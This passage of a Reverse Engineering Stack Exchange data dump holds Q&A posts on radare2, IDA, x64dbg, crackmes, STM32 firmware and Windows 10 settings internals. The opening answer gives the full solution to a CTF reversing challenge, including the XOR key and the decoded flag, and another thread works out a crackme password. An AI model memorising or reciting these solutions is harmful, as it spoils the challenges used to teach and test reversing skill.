Alert!</strong><br>\n<em>The next part contains spoilers regarding the answer</em></p>\n\n<p>The write-up you attached contains a solution for the right key that you should use in the XOR operation to modify the bytes. I'll use this key in the following example.</p>\n\n<p>The key is (<em>hover to see it</em>):</p>\n\n<blockquote class=\"spoiler\">\n  <p> 0xa2</p>\n</blockquote>\n\n<p>Let's try to decrypt this bytes by ourselves. I'll use radare2 for this but you can use any other solution you'd like to.</p>\n\n<p>First, let's make a copy of this challenge since we are going to edit the binary:</p>\n\n<pre><code>$ cp greek_to_me.exe modified_greek_to_me.exe\n</code></pre>\n\n<p>And now open the binary with radare2 in write-mode:</p>\n\n<pre><code>$ r2 -w modified_greek_to_me.exe\n[0x00401000]&gt;\n</code></pre>\n\n<p>Let's seek to <code>0x40107c</code> and see how it looks like before we modify the bytes there:</p>\n\n<pre><code>[0x00401000]&gt; s 0x40107c\n[0x0040107c]&gt; pd 10\n            0x0040107c      33e1           xor esp, ecx\n            0x0040107e      c49911068116   les ebx, [ecx + 0x16810611]\n            0x00401084      f0             invalid\n            0x00401085      329fc4911706   xor bl, byte [edi + 0x61791c4]\n            0x0040108b      8114f0068115.  adc dword [eax + esi*8], 0xf1158106\n            0x00401092      c4911a06811b   les edx, [ecx + 0x1b81061a]\n        \u256d\u2500&lt; 0x00401098      e206           loop 0x4010a0\n        \u2502   0x0040109a      8118f2068119   sbb dword [eax], 0x198106f2\n        \u2570\u2500&gt; 0x004010a0      f1             int1\n            0x004010a1      06             push es\n</code></pre>\n\n<p>I printed 10 op-codes in this address. As you can see, the instructions make no sense because in their current state they should not be disassembled.</p>\n\n<p>This is how the <code>0x79</code> bytes from this address look like in hex:</p>\n\n<pre><code>[0x0040107c]&gt; px 0x79\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x0040107c  33e1 c499 1106 8116 f032 9fc4 9117 0681  3........2......\n0x0040108c  14f0 0681 15f1 c491 1a06 811b e206 8118  ................\n0x0040109c  f206 8119 f106 811e f0c4 991f c491 1c06  ................\n0x004010ac  811d e606 8162 ef06 8163 f206 8160 e3c4  .....b...c...`..\n0x004010bc  9961 0681 66bc 0681 67e6 0681 64e8 0681  .a..f...g...d...\n0x004010cc  659d 0681 6af2 c499 6b06 8168 a906 8169  e...j...k..h...i\n0x004010dc  ef06 816e ee06 816f ae06 816c e306 816d  ...n...o.\n</code></pre>\n\n<p>Now we want to XOR <code>0x79</code> bytes from <code>0x40107c</code> and then add <code>0x22</code> to each byte. We can easily do it using radare2.</p>\n\n<p>First, we should define the block size that we want to manipulate, in our case it's 0x79:</p>\n\n<pre><code>[0x0040107c]&gt; b?\n|Usage: b[f] [arg]\nGet/Set block size\n| b        display current block size\n| b 33     set block size to 33\n...\n...\n[0x0040107c]&gt; b 0x79\n</code></pre>\n\n<p><em>Adding <code>?</code> to radare2 command will show help about the command and its subcommands</em></p>\n\n<p>Now, let's XOR the bytes from <code>0x40107c</code> to <code>0x40107c + block_size</code> and then add <code>0x22</code> to each one of them:</p>\n\n<pre><code>[0x0040107c]&gt; wo?\n|Usage: wo[asmdxoArl24] [hexpairs] @ addr[!bsize]\n...\n| woa [val]                     +=  addition (f.ex: woa 0102)\n...\n| wox [val]                     ^=  xor  (f.ex: wox 0x90)\n[0x0040107c]&gt; wox 0xa2\n[0x0040107c]&gt; woa 0x22\n</code></pre>\n\n<p>And now our bytes are modified. Let's see how they look like in hex-mode:</p>\n\n<pre><code>[0x0040107c]&gt; px 0x79\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x0040107c  b365 885d d5c6 45d6 74b2 5f88 55d7 c645  .e.]..E.t._.U..E\n0x0040108c  d874 c645 d975 8855 dac6 45db 62c6 45dc  .t.E.u.U..E.b.E.\n0x0040109c  72c6 45dd 75c6 45de 7488 5ddf 8855 e0c6  r.E.u.E.t.]..U..\n0x004010ac  45e1 66c6 45e2 6fc6 45e3 72c6 45e4 6388  E.f.E.o.E.r.E.c.\n0x004010bc  5de5 c645 e640 c645 e766 c645 e86c c645  ]..E.@.E.f.E.l.E\n0x004010cc  e961 c645 ea72 885d ebc6 45ec 2dc6 45ed  .a.E.r.]..E.-.E.\n0x004010dc  6fc6 45ee 6ec6 45ef 2ec6 45f0 63c6 45f1  o.E.n.E...E.c.E.\n0x004010ec  6fc6 45f2 6dc6 45f3 00                   o.E.m.E..\n</code></pre>\n\n<p>And let's disassemble it and see if now the assembly makes any sense:</p>\n\n<pre><code>[0x0040107c]&gt; pD 0x79\n            0x0040107c      b365           mov bl, 0x65                ; 'e' ; 101\n            0x0040107e      885dd5         mov byte [ebp - 0x2b], bl\n            0x00401081      c645d674       mov byte [ebp - 0x2a], 0x74 ; 't' ; 116\n            0x00401085      b25f           mov dl, 0x5f                ; '_' ; 95\n            0x00401087      8855d7         mov byte [ebp - 0x29], dl\n            0x0040108a      c645d874       mov byte [ebp - 0x28], 0x74 ; 't' ; 116\n            0x0040108e      c645d975       mov byte [ebp - 0x27], 0x75 ; 'u' ; 117\n            0x00401092      8855da         mov byte [ebp - 0x26], dl\n            0x00401095      c645db62       mov byte [ebp - 0x25], 0x62 ; 'b' ; 98\n            0x00401099      c645dc72       mov byte [ebp - 0x24], 0x72 ; 'r' ; 114\n            0x0040109d      c645dd75       mov byte [ebp - 0x23], 0x75 ; 'u' ; 117\n            0x004010a1      c645de74       mov byte [ebp - 0x22], 0x74 ; 't' ; 116\n            0x004010a5      885ddf         mov byte [ebp - 0x21], bl\n            0x004010a8      8855e0         mov byte [ebp - 0x20], dl\n            0x004010ab      c645e166       mov byte [ebp - 0x1f], 0x66 ; 'f' ; 102\n            0x004010af      c645e26f       mov byte [ebp - 0x1e], 0x6f ; 'o' ; 111\n            0x004010b3      c645e372       mov byte [ebp - 0x1d], 0x72 ; 'r' ; 114\n            0x004010b7      c645e463       mov byte [ebp - 0x1c], 0x63 ; 'c' ; 99\n            0x004010bb      885de5         mov byte [ebp - 0x1b], bl\n            0x004010be      c645e640       mov byte [ebp - 0x1a], 0x40 ; '@' ; 64\n            0x004010c2      c645e766       mov byte [ebp - 0x19], 0x66 ; 'f' ; 102\n            0x004010c6      c645e86c       mov byte [ebp - 0x18], 0x6c ; 'l' ; 108\n            0x004010ca      c645e961       mov byte [ebp - 0x17], 0x61 ; 'a' ; 97\n            0x004010ce      c645ea72       mov byte [ebp - 0x16], 0x72 ; 'r' ; 114\n            0x004010d2      885deb         mov byte [ebp - 0x15], bl\n            0x004010d5      c645ec2d       mov byte [ebp - 0x14], 0x2d ; '-' ; 45\n            0x004010d9      c645ed6f       mov byte [ebp - 0x13], 0x6f ; 'o' ; 111\n            0x004010dd      c645ee6e       mov byte [ebp - 0x12], 0x6e ; 'n' ; 110\n            0x004010e1      c645ef2e       mov byte [ebp - 0x11], 0x2e ; '.' ; 46\n            0x004010e5      c645f063       mov byte [ebp - 0x10], 0x63 ; 'c' ; 99\n            0x004010e9      c645f16f       mov byte [ebp - 0xf], 0x6f  ; 'o' ; 111\n            0x004010ed      c645f26d       mov byte [ebp - 0xe], 0x6d  ; 'm' ; 109\n            0x004010f1      c645f300       mov byte [ebp - 0xd], 0\n</code></pre>\n\n<p>Indeed, now we are able to see all these <code>mov</code> instructions which build the flag :)</p>\n"
    },
    {
        "Id": "17092",
        "CreationDate": "2018-01-01T17:06:36.890",
        "Body": "<p>I'm trying to find the function which is animating a bot ingame (singleplayer). I already figured out the animation state value with Cheat Engine. Freezing that value lets the bot repeat the animation over and over again. Changing that value to the \"jump\"-value, the bot is jumping. So I guess, I'm already at the right location. Looking at this value by \"find out what writes to this address\" gets me into a small function (see image below) where some comparisons are done and the animation state value is set. I'm not very good at reversing, that's why I tried understanding the commands by putting some comments to the disassembly.</p>\n\n<p>Image of the function with my comments:\n<a href=\"https://i.stack.imgur.com/J8b5X.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/J8b5X.png\" alt=\"enter image description here\"></a></p>\n\n<p>There are still some commands I'm not understanding right now. I want to call that function later from a DLL injection to play the animations by myself. So how do I know if I'm really in the right function? How do I get the right parameter values?</p>\n\n<p>If I'm changing the jl to jnl command at line 0x232C3 the game stops playing any animation for the bot. Please help me, I don't know how to continue.</p>\n",
        "Title": "Help with animation function",
        "Tags": "|disassemblers|functions|",
        "Answer": "<p>How about you breakpoint the function start and take a look at the call stack.\nThis way you can easily find out the calling convention and used arguments.</p>\n\n<p>All in all, this function looks like it's mainly looking up an array and then loading/writing some floating point values where the third parameter is an index.\nThe first conditional checks if that index is >= 0, the second one let's me assume that [eax@2] is the length of the array;\nexpressed with the parameters only this would be: [[param1+0x1C]+0x0].</p>\n\n<p>ebp-0C is some kind of structure, whose second member (assuming dword-sized members) is treated as the base of an array (see line above outlined one).</p>\n\n<p>If edx is the third parameter now, that means that it's an index into an array which holds all the animation states. Therefore the floating point stuff seems k inda uninteresting.</p>\n"
    },
    {
        "Id": "17095",
        "CreationDate": "2018-01-02T02:07:17.467",
        "Body": "<p>I'm new to reverse engineering. Can you give an example of a crackme to do \"non-hardcoded\" key fishing and how to log the x86 registers to spot the generated key? </p>\n",
        "Title": "Example of key fishing with OllyDbg logging?",
        "Tags": "|ollydbg|x86|crackme|register|",
        "Answer": "<p>It doesn't work like that, unfortunately. I'm going to be drastically oversimplifying the topic, but the 10,000-foot view is that you have two ways to reverse engineer:</p>\n\n<p><strong>Static Analysis</strong>: Studying a binary without running it. Programs like <strong><a href=\"https://www.hex-rays.com/products/ida/\" rel=\"nofollow noreferrer\">IDA</a></strong> can be used to disassemble a binary to automagically lay bare what it can of the binary's workings. This does A LOT for you if you know what you're looking at. Otherwise, prepare to be 100% overwhelmed. There's an amazing introduction to IDA on YouTube that you can watch <strong><a href=\"https://www.youtube.com/watch?v=cGDcTSCB7y4\" rel=\"nofollow noreferrer\">here</a></strong>. </p>\n\n<p><strong>Dynamic Analysis</strong>: Studying the behavior of a binary while it's executing. This is when you use debuggers like <strong><a href=\"http://www.ollydbg.de/\" rel=\"nofollow noreferrer\">OllyDbg</a></strong>, <strong><a href=\"https://x64dbg.com/#start\" rel=\"nofollow noreferrer\">x64dbg</a></strong>, <strong><a href=\"https://developer.microsoft.com/en-us/windows/hardware/download-windbg\" rel=\"nofollow noreferrer\">WinDbg</a></strong>, <strong><a href=\"https://github.com/cheat-engine/cheat-engine\" rel=\"nofollow noreferrer\">Cheat Engine</a></strong>, etc.</p>\n\n<p>There are really complex things you can do via other applications/plugins/libraries/frameworks, but you tend to discover those during threads of research. There's likely a plugin or something out there for Olly that will profusely log events/tracing, but the reason what you're interested in won't really work is the amount of data you'd be logging would be insane. You'd still have to search through it all to make sense of everything. Consider there are registers, memory, on-disk, and off-site (which gets you into network protocol land).</p>\n\n<p>For what you're interested in, there's a really, really good video tutorial that uses OllyDbg and IDA to reverse a crackme (<a href=\"https://www.youtube.com/watch?v=DEDYk8zN53A\" rel=\"nofollow noreferrer\">video here</a>). For a different approach for the same crackme via dynamic analysis, (<a href=\"https://www.youtube.com/watch?v=Emiuht3YSXA\" rel=\"nofollow noreferrer\">here is a video</a>) where I use Cheat Engine, which is an unorthodox tool for the job but that I think a beginner such as yourself would learn a lot from (there's memory scanning, patching, writing custom Assembly and creating a script, etc.). Full disclosure: the tutorial using Cheat Engine is from me.</p>\n\n<p>You have a lot of learning ahead of you, but try to enjoy the ride!</p>\n"
    },
    {
        "Id": "17096",
        "CreationDate": "2018-01-02T06:34:40.583",
        "Body": "<p>So this may be a weird question. I'm working with a windows 32-bit executable in IDA that was originally programmed in C/C++ (Mostly likely with Visual Studio .NET 2002). For the virtual function calls, the ABI uses <code>__thiscall</code>, so the callee cleans the stack, and IDA needs to know how many arguments the function takes to account for that in the caller.</p>\n\n<p>The problem is that virtual function calls are done in a way that makes it difficult for IDA to figure out the called function. An example of what the call might look like is this (in Intel syntax, which IDA uses):</p>\n\n<pre><code>mov eax, [ecx]\ncall dword ptr [eax+4]\n</code></pre>\n\n<p>with <code>ecx</code> being set to <code>this</code> by the caller. Since there's no easy way to know what <code>dword ptr [eax+4]</code> is referring to, it guesses how many arguments it takes by the variables pushed before the call. The problem is that it often grabs too many push instructions, and keeps including saved registers. This causes it to assume that the function exits with an incorrect stack pointer, and messes up the stack variable references below the call.</p>\n\n<p>I want to tell IDA what the stack change in the call <em>should</em> be to correct this problem, but I can't seem to find the option anywhere. Is this possible? I can't seem to figure this out.</p>\n",
        "Title": "IDA makes an incorrect guess about how a virtual function affects the stack. How can I correct/override it?",
        "Tags": "|ida|stack|virtual-functions|",
        "Answer": "<p>You can use <kbd>Alt-K</kbd> shortcut to fix the stack pointer. \nIts documentation is <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/489.shtml\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "17099",
        "CreationDate": "2018-01-02T13:51:12.517",
        "Body": "<p>I'm trying to disassemble a firmware for a DIY project, open hardware but closed firmware.\nMy question is how to initialize the disassembler properly (Hopper Disassembler).</p>\n\n<p>The values I try to figure out are the ones shown here:</p>\n\n<p><a href=\"https://i.stack.imgur.com/2aGGc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2aGGc.png\" alt=\"Hopper Disassembler\"></a></p>\n\n<p>From what I know, the processor is a STM32F100C8, ARM Cortex-M3, 64Kbytes Flash, 8Kbytes RAM. The BOOT0 pin is tied low, so I know it's booting from main flash memory:</p>\n\n<blockquote>\n  <p>Boot from main Flash memory: the main Flash memory is aliased in the\n  boot memory   space (0x0000 0000), but still accessible from its\n  original memory space (0x800 0000).   In other words, the Flash memory\n  contents can be accessed starting from address   0x0000 0000 or 0x800\n  0000.</p>\n</blockquote>\n\n<p>The startup sequence is as follows:</p>\n\n<blockquote>\n  <p>The CPU fetches the top-of-stack value from address 0x0000 0000,\n  then   starts code execution from the boot memory starting from 0x0000\n  0004</p>\n</blockquote>\n\n<p>I converted the .hex file to a .bin file using <code>arm-none-eabi-objcopy</code> and found:</p>\n\n<pre><code>0x0000 0000  |  10050020 (Stack pointer) \n0x0000 0004  |  05A90008 (ResetHandler)\n</code></pre>\n\n<p>What I don't understand are the memory addresses. </p>\n\n<p>The stack pointer is too large to be a relative offset (only 8K RAM) and too small to point into SRAM (starting at 0x2000 0000).</p>\n\n<p>The reset handler is also too large to be a relative offset (only 64k flash) and too small to point to main flash memory (starting at 0x800 0000).</p>\n\n<p>How do I figure out the proper base address and entry point?</p>\n\n<p>PS: The schematics and firmware for the DIY project can be found <a href=\"http://fandy.ucoz.org/publ/metalloiskatel_quot_kvazar_quot_quot_quasar_quot/metalloiskatel_quot_quasar_arm_quot/2-1-0-5\" rel=\"nofollow noreferrer\">here</a></p>\n",
        "Title": "Entry point for STM32 firmware",
        "Tags": "|firmware|arm|hopper|entry-point|",
        "Answer": "<p>The values are in little-endian I believe so the stack pointer is at 0x20000510 and the reset vector is 0x0800a905.</p>\n"
    },
    {
        "Id": "17103",
        "CreationDate": "2018-01-02T23:14:45.873",
        "Body": "<p>Looking this snippet of code I can't figure out where is stored the return value of the <code>scanf()</code> function. </p>\n\n<p><strong>EDIT</strong>:</p>\n\n<p>From man page, <code>scanf()</code> return an <code>int</code> value representing the number of input items successfully matched and assigned.</p>\n\n<p>I was expecting <code>0x04</code> in the <code>EAX</code> register (user input = <code>AAAA</code>) but after returning from <code>scanf()</code>, <code>EAX = 0x00000000</code>:</p>\n\n<pre><code>       0x080483e4      55             push ebp\n       0x080483e5      89e5           mov ebp, esp\n       0x080483e7      83ec18         sub esp, 0x18\n       0x080483ea      83e4f0         and esp, 0xfffffff0\n       0x080483ed      b800000000     mov eax, 0\n       0x080483f2      83c00f         add eax, 0xf\n       0x080483f5      83c00f         add eax, 0xf\n       0x080483f8      c1e804         shr eax, 4\n       0x080483fb      c1e004         shl eax, 4\n       0x080483fe      29c4           sub esp, eax\n       0x08048400      c70424488504.  mov dword [esp], str.IOLI_Crackme_Level_0x02 ; [0x8048548:4]=0x494c4f49 ; \"IOLI Crackme Level 0x02\\n\"\n       0x08048407      e810ffffff     call sym.imp.printf         ; int printf(const char *format)\n       0x0804840c      c70424618504.  mov dword [esp], str.Password: ; [0x8048561:4]=0x73736150 ; \"Password: \" ; const char * format\n       0x08048413      e804ffffff     call sym.imp.printf         ; int printf(const char *format)\n       0x08048418      8d45fc         lea eax, ebp - 4\n       0x0804841b      89442404       mov dword [local_4h_2], eax\n       0x0804841f      c704246c8504.  mov dword [esp], 0x804856c  ; [0x804856c:4]=0x50006425 ; const char * format\n       ;-- eip:\n       0x08048426 b    e8e1feffff     call sym.imp.scanf          ; int scanf(const char *format)\n       0x0804842b      c745f85a0000.  mov dword [local_8h], 0x5a  ; 'Z' ; 90\n       0x08048432      c745f4ec0100.  mov dword [local_ch], 0x1ec ; 492\n       0x08048439      8b55f4         mov edx, dword [local_ch]\n       0x0804843c      8d45f8         lea eax, ebp - 8\n       0x0804843f      0110           add dword [eax], edx\n       0x08048441      8b45f8         mov eax, dword [local_8h]\n       0x08048444      0faf45f8       imul eax, dword [local_8h]\n       0x08048448      8945f4         mov dword [local_ch], eax\n       0x0804844b      8b45fc         mov eax, dword [local_4h]\n       0x0804844e      3b45f4         cmp eax, dword [local_ch]\n   \u250c\u2500&lt; 0x08048451      750e           jne 0x8048461\n   \u2502   0x08048453      c704246f8504.  mov dword [esp], str.Password_OK_: ; [0x804856f:4]=0x73736150 ; \"Password OK :)\\n\" ; const char * format\n   \u2502   0x0804845a      e8bdfeffff     call sym.imp.printf         ; int printf(const char *format)\n  \u250c\u2500\u2500&lt; 0x0804845f      eb0c           jmp 0x804846d\n  \u2502\u2514\u2500&gt; 0x08048461      c704247f8504.  mov dword [esp], str.Invalid_Password ; [0x804857f:4]=0x61766e49 ; \"Invalid Password!\\n\" ; const char * format\n  \u2502    0x08048468      e8affeffff     call sym.imp.printf         ; int printf(const char *format)\n  \u2502       ; JMP XREF from 0x0804845f (main)\n  \u2514\u2500\u2500&gt; 0x0804846d      b800000000     mov eax, 0\n       0x08048472      c9             leave\n       0x08048473      c3             ret\n</code></pre>\n\n<p>Also, I cannot find any reference to the user input (from the previous <code>scanf()</code> call). I think it's in <code>local_4h</code> because it's compared with the flag value (<code>0x00052b24</code>) stored in <code>local_ch</code>.</p>\n\n<pre><code> var local_4h = 0xffa46fd4  0xf7f66000  ... @eax edi\n var local_8h = 0xffa46fd0  0x00000001  .... esi\n var local_ch = 0xffa46fcc  0x00000000  .... ecx\n</code></pre>\n\n<p>But, I cannot understand how.</p>\n\n<p>For more info, this is the stack right before the <code>scanf()</code> call:</p>\n\n<pre><code>- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0xffa46fb0  6c85 0408 d46f a4ff 0000 0000 fbb4 ddf7  l....o..........\n0xffa46fc0  dc63 f6f7 f481 0408 0c9f 0408 0000 0000  .c..............\n0xffa46fd0  0100 0000 0060 f6f7 0000 0000 5644 dcf7  .....`......VD..\n</code></pre>\n\n<p>And registers:</p>\n\n<pre><code> eax = 0xffa46fd4\n ebx = 0x00000000\n ecx = 0x00000000\n edx = 0xf7f67870\n esi = 0x00000001\n edi = 0xf7f66000\n esp = 0xffa46fb0\n ebp = 0xffa46fd8\n eip = 0x08048426\n eflags = 0x00000286\n oeax = 0xffffffff\n</code></pre>\n",
        "Title": "scanf return value",
        "Tags": "|disassembly|assembly|x86|",
        "Answer": "<p>Thanks to <a href=\"https://reverseengineering.stackexchange.com/users/14622/sudhackar\">sudhackar</a> comment i was able to understand <code>scanf()</code>:</p>\n\n<p><code>mov dword [esp], 0x804856c</code> </p>\n\n<p>pushes the format string on the stack:</p>\n\n<pre><code>:&gt; px @ 0x804856c\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  0123456789ABCD\n0x0804856c  2564 0050 6173 7377 6f72 6420 4f4b  %d.Password OK\n0x0804857a  203a 290a 0049 6e76 616c 6964 2050   :)..Invalid P\n0x08048588  6173 7377 6f72 6421 0a00 0000 0000  assword!......\n</code></pre>\n\n<p>It's a <code>%d</code> so it references a decimal variable. After user input (<strong>in this case password was a number <code>23</code></strong>), local variable at <code>ebp-0x04</code> contains its value:</p>\n\n<pre><code>:&gt; afvd\nvar local_4h = 0xffe6cf34  0x00000017  ....\nvar local_8h = 0xffe6cf30  0x00000001  .... eax\nvar local_ch = 0xffe6cf2c  0x00000000  .... ecx\n</code></pre>\n\n<p>Infact:</p>\n\n<p><code>0x17=23</code></p>\n\n<p>What differs from before is that previous password was <code>AAAA</code>, <strong>not a decimal number</strong>: <code>scanf()</code> was unable to match variables and returned nothing.</p>\n\n<p>I have only a last small doubt: comparing disassembled code between radare2 and objdump I found a small difference but I think it's pretty important though:</p>\n\n<p>from <strong>radare2</strong>:</p>\n\n<pre><code>   0x08048418      8d45fc         lea eax, ebp - 4\n   0x0804841b      89442404       mov dword [local_4h_2], eax\n   0x0804841f      c704246c8504.  mov dword [esp], 0x804856c  \n   0x08048426 b    e8e1feffff     call sym.imp.scanf\n</code></pre>\n\n<p>from <strong>objdump</strong>:</p>\n\n<pre><code>   8048418: 8d 45 fc                lea    eax,[ebp-0x4]\n   804841b: 89 44 24 04             mov    DWORD PTR [esp+0x4],eax\n   804841f: c7 04 24 6c 85 04 08    mov    DWORD PTR [esp],0x804856c\n</code></pre>\n\n<p>Is there any reason for that difference in instruction at <code>0x08048418</code> ?</p>\n"
    },
    {
        "Id": "17109",
        "CreationDate": "2018-01-04T06:44:29.720",
        "Body": "<p>I was just wondering what exactly causes a function without a prologue/epilogue to be generated? If a program is compiled with just stdcall/cdecl convention, why is it that there are some calls which lead to a subroutine that doesn't have the typical push ebp -> mov ebp,esp. Are these just sanity checks generated by the compiler? Are these subroutines important? Or is that impossible to say without actually analysing it? For example, would a compiler produce a call to a subroutine which moves one value into eax and then returns or would that be the programmer changing the binary of the executable?</p>\n",
        "Title": "Functions without a prologue and epilogue?",
        "Tags": "|functions|",
        "Answer": "<p>The prologue and epilogue are <em>not required</em> by the CPU to execute functions, so most compilers only generate them when necessary, or optimization is not enabled. In particular, <em>leaf</em> functions (those that don't call other functions) do not usually need a prolog (unless required by the ABI) and the compiler may safely omit it.</p>\n"
    },
    {
        "Id": "17119",
        "CreationDate": "2018-01-04T22:19:29.430",
        "Body": "<p>Is it possible to change the value of a local var within <code>Radare2</code>? I'm practicing with ESIL feature and now I want to set the value of local variable <code>userInput</code>:</p>\n\n<pre><code>[0x080484e6]&gt; afvd\nvar userInput = 0x00177ffc  0x00000000  .... eflags\nvar var1 = 0x00177ff8  0x00000246  F...\nvar var2 = 0x00177ff4  0x00052b24  $+.. \n</code></pre>\n\n<p>I wasn't able to catch this information from the documentation. Eventually, is it possible do the same thing while debugging the binary (-d)? </p>\n",
        "Title": "Radare2 set local variable",
        "Tags": "|radare2|",
        "Answer": "<p>Sadly there's no such feature in radare2 yet. </p>\n\n<p>Remember, though, that at the end these variables are data that you can manipulate by manually editing them. Thus, you can modify their value (with some restrictions of course) to meet your needs.</p>\n\n<p>For example, let's see the result of <code>afvd</code> in some random function of a binary:</p>\n\n<pre><code>[0x00400637]&gt; afvd\nvar local_10h = 0x7ffffa0c1870  0x00007ffffa0c1960   `....... r13 stack R W 0x1 --&gt;  rdi\n</code></pre>\n\n<p>We have only one variable, <code>local_10h</code> which is located at <code>rbp - 0x10</code>:</p>\n\n<pre><code>[0x00400637]&gt; afvd local_10h\npxr $w @rbp-0x10\n</code></pre>\n\n<p>Now, let's modify <code>rbp-0x10</code> to be \"ABCD\":</p>\n\n<pre><code>[0x00400637]&gt; wx 41424344 @ rbp-0x10\n[0x00400637]&gt; afvd\nvar local_10h = 0x7ffffa0c1870  0x00007fff44434241   `ABCD... r13 stack R W 0x1 --&gt;  rdi\n</code></pre>\n\n<p>So this is a way to manipulate a value of a variable.</p>\n\n<hr>\n\n<p>radare2 is an Open-Source project with great community and developers, feel free to open an <a href=\"https://github.com/radare/radare2/issues\" rel=\"noreferrer\">issue</a>, or even better, propose a <a href=\"https://github.com/radare/radare2/pulls\" rel=\"noreferrer\">pull-request</a> so we all can benefit from this feature.</p>\n"
    },
    {
        "Id": "17127",
        "CreationDate": "2018-01-05T22:54:15.793",
        "Body": "<p>I wanted to see what Microsoft are doing when you click \"Restart now\" button in their Settings -> Update window on Windows 10:</p>\n\n<p><a href=\"https://i.stack.imgur.com/YitFy.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/YitFy.png\" alt=\"enter image description here\"></a></p>\n\n<p>Somehow the results are not the same what is available via <code>InitiateSystemShutdownEx</code> or <code>InitiateShutdown</code> WinAPIs, especially concerning installation of updates.</p>\n\n<p>So I wanted to look into the code they use for that <code>Restart</code> button. Usually I would use Spy++ to look up a parent window's <code>WndProc</code> and then load the process in IDA Pro and put a breakpoint on it. Then trap a condition for the <code>BM_CLICK</code> message.</p>\n\n<p>In this case though, the whole settings is a window of its own. The button does not appear in Spy++:</p>\n\n<p><a href=\"https://i.stack.imgur.com/eECa5.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/eECa5.png\" alt=\"enter image description here\"></a></p>\n\n<p>Any ideas how do I proceed from there?</p>\n",
        "Title": "How to reverse engineer a Windows 10 UWP app?",
        "Tags": "|ida|debugging|windows-10|",
        "Answer": "<p>As promised, I am back to post a <strong>more specific answer</strong> to the question that was asked by the OP.  </p>\n\n<p>Decided to write this as a separate answer as I believe that this content stands out on its own and would not properly fit in with either of the two answers that I posted above.</p>\n\n<p><strong>Addressing his first issue :</strong></p>\n\n<blockquote>\n  <p>In this case though, the whole settings is a window of its own. The\n  button does not appear in Spy++</p>\n</blockquote>\n\n<p>Well, the button <em>does</em> appear when using tools other than Spy++.<br>\nI am pasting  screenshots of 2 tools with the help of which the properties of the RESTART button can be discovered.</p>\n\n<p><strong>Using the <a href=\"https://msdn.microsoft.com/en-us/library/dd318521(v=vs.85).aspx\" rel=\"noreferrer\">INSPECT TOOL</a> that is a part of the Microsoft SDK :</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/Vp51s.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Vp51s.png\" alt=\"INSPECT Tool showing Properties of the Button\"></a>  </p>\n\n<p>and also using the <a href=\"https://msdn.microsoft.com/en-us/library/ms727247(v=vs.100).aspx\" rel=\"noreferrer\">UI Spy Tool</a> (Please note that <a href=\"https://msdn.microsoft.com/en-us/library/dd373661(v=vs.110).aspx\" rel=\"noreferrer\">many other tools</a> can also be used) for this purpose ...</p>\n\n<p><a href=\"https://i.stack.imgur.com/3aUwY.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/3aUwY.png\" alt=\"Properties of the RESTART Button using the UI Spy Tool\"></a></p>\n\n<p>Now we will see what code we BREAK ON when we click the RESTART button :</p>\n\n<p>Firstly, Run the <strong>System Settings Manager</strong> (<strong>SystemSettings.exe</strong> would be seen in the Task Manager).<br>\n\"<strong>Attach</strong>\" to the <em>SystemSettings.exe</em> process with a debugger (I used the [excellent] x64dbg Debugger for this purpose).<br>\nMake sure that you tick the <em>Break on DLL Load</em> in the Debugger Settings as shown below :</p>\n\n<p><a href=\"https://i.stack.imgur.com/zPUtC.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/zPUtC.png\" alt=\"DLL Load\"></a>      </p>\n\n<p>Now we *click on the <em>RESTART NOW</em> button* (of the <em>Windows Settings</em> Window). We will break in the debugger as the \"<strong>SettingsHandlers_nt.dll</strong>\" gets loaded into the process.    </p>\n\n<p><strong>This is the main dll that handles the events (clicks etc) of the Settings Window.</strong>  </p>\n\n<p><a href=\"https://i.stack.imgur.com/yVLFg.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/yVLFg.png\" alt=\"SettingsHandlers_nt.dll Loaded\"></a>  </p>\n\n<p><a href=\"https://i.stack.imgur.com/WNZmn.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/WNZmn.png\" alt=\"We land here in the SettingsHandlers_nt.dll module\"></a>  </p>\n\n<p>This is a part of the Control Flow Graph that actually takes the  decision to \ngo for a restart :</p>\n\n<p><a href=\"https://i.stack.imgur.com/5fiwQ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/5fiwQ.png\" alt=\"Restarts as Single User Mode\"></a>    </p>\n\n<blockquote>\n  <p>Somehow the results are not the same what is available via\n  InitiateSystemShutdownEx or InitiateShutdown WinAPIs, especially\n  concerning installation of updates.</p>\n</blockquote>\n\n<p>The OP is right .<br>\nThe <strong><em>actual Decision-Making Part for the  [Automatic] Restarts after Microsoft Updates</em></strong> is  handled by the <strong>MusUpdateHandlers.dll</strong> as can be seen below: </p>\n\n<p><a href=\"https://i.stack.imgur.com/74pQF.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/74pQF.png\" alt=\"CFG of Forced Reboots after Updates\"></a></p>\n\n<p>and also here :</p>\n\n<p><a href=\"https://i.stack.imgur.com/T9gad.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/T9gad.png\" alt=\"Code View for Reboots after UPDATES\"></a></p>\n\n<p>I have added the last 2 screenshots as the OP had wanted to know what API are invoked when the system restarts after an UPDATE...</p>\n\n<p>I hope that this now concludes the answer to what @c00000fd wanted to know...</p>\n"
    },
    {
        "Id": "17129",
        "CreationDate": "2018-01-06T08:52:08.990",
